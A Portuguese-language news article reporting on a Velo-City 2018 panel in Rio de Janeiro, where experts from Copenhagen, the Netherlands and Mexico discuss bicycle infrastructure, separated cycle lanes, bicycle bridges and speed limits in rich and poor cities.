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Infraestrutura 13.06.2018 — 12:09 pm

Quais as diferenças na infraestrutura de cidades ricas e pobres?

Felix Lima
Alejandra Leal no Velo-City 2018 / Foto Felix Lima

As diferenças de planejamento urbano e infraestrutura entre metrópoles de países desenvolvidos e em desenvolvimento foi tema da mesa “Infraestrutura: design de pequenas versus grandes cidades” (Infrastructure – Small vs Big City Design), que aconteceu o Velo-City 2018 e faz parte do especial #EsquinaNoPedal.

Ivo Mulders (gerente de projetos da empresa holandesa IPV Delf), Marie Kastrup (diretora do City of Copenhagen’s Bicycle Program) e Alejandra Leal (diretora da consultoria mexicana especializada em mobilidade sustentável Céntrico) discutiram caminhos e soluções para melhorar os deslocamentos de bicicletas nas cidades, trazendo experiências consistentes – e inspiradoras – conduzidas por eles na Europa e na América.

Infraestrutura: design de pequenas versus grandes cidades / Velo-City 2018

📣AO VIVO 📣 Diretamente do Velo-city no Rio de Janeiro: Infrastructure – Small vs Big City Design, sobre as diferenças entre o planejamento urbano de cidades de países desenvolvidos e em desenvolvimento, com Ivo Mulders, Marie Kastrup e Alejandra Leal.#EsquinaNoPedalBio dos palestrantes: https://www.velo-city2018.rio/copia-speakers-2

Publicado por Esquina: Encontros sobre cidades em Terça-feira, 12 de junho de 2018

 
Em Copenhagen, atualmente 28% das viagens na cidade são feitas de bicicleta. “O percentual não é alto por questões culturais, como muitos dizem, mas sim por motivos estruturais. A maioria da população defende o uso como melhor opção em termos de eficiência, facilidade e segurança”, aponta Marie Kastrup. Os 379 km de ciclovias do município são separados das circulações de outros modais por barreiras físicas. Entre os exemplos de delimitações utilizados estão as diferentes alturas de piso – a calçada é mais elevada que a ciclovia, que por sua vez está acima da rua. Outro recurso bastante comum é usar os carros estacionados no meio-fio como proteção entre os ciclistas e a rua, onde está o fluxo de automóveis e ônibus em alta velocidade.

A diretora do City of Copenhagen’s Bicycle Program defendeu ainda que melhorias em mobilidade só são alcançadas por meio de experimentações. “Algumas ciclovias inicialmente foram pintadas no chão. Depois de um tempo – se aprovadas –, receberam investimento para se tornarem permanentes. Isso é uma estratégia inteligente”, diz Marie, que defendeu ainda a redução do espaço para carros como um bom caminho para o desincentivo ao uso do veículo particular. “Ao fechar ruas para automóveis e obrigar o motorista a fazer um trajeto mais longo que o do ciclista, convidamos ele a repensar seus meios de locomoção. Foi assim que muitos descobriram a bike como melhor alternativa na Dinamarca”, completa.

Felix Lima

Marie Kastrup no Velo-City 2018 / Foto: Felix Lima


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Para um sistema cicloviário ser eficiente, acessível e seguro, precisa também abranger toda a cidade, e não apenas áreas centrais. A constatação de Ivo Mulders tem como respaldo sua expertise de quase 20 anos na viabilização e construção de pontes para ciclistas e pedestres. “As pontes podem conectar ciclovias de bairros mais afastados e encurtar distâncias, além de ser um recurso importante no combate à falta de segurança em cruzamentos”, diz ele. Um exemplo emblemático é a enorme ponte circular que conecta todos os pontos econômicos de Eindhoven, como o aeroporto e o centro. “É fundamental que elas sejam multimodais para atender ao fluxo de carros, bicicletas e pedestres”, defende.

Felix Lima

Ivo Mulders no Velo-City 2018 / Foto: Felix Lima

 

A consultora em mobilidade sustentável Alejandra Leal chamou a atenção para a importância do bom planejamento urbano como ferramenta para facilitar a compreensão da população sobre a cidade. “Se as ruas são bem projetadas, a circulação por elas será facilmente entendida pelos usuários e os trajetos ficarão mais seguros”, conta ela, que apontou o limite de velocidade como medida crucial – um acidente com um veículo a 55km/h tem 20% de chance de ter sobreviventes, enquanto que a 30km/h a porcentagem sobe para 95%.

Segundo Alejandra, a via precisa passar a mensagem da velocidade ideal de circulação por ela. “Não adianta ter uma placa de 30km/h em uma avenida com cinco faixas. Já em uma rua estreita, com canteiros na lateral e travessias de pedestre, poucos vão acelerar a mais de 50km/h”, exemplifica. Ao reduzir a velocidade, tornamos possível que um mesmo espaço seja seguro para todos os modais e também aos pedestres.

O Velo-City é o principal evento sobre bicicletas do mundo e acontece no Rio de Janeiro entre 12 e 15 de junho, no Píer Mauá, com patrocínio do Itaú-Unibanco.

#EsquinaNoPedal
Acompanhe nossa cobertura completa sobre o Velo-City 2018

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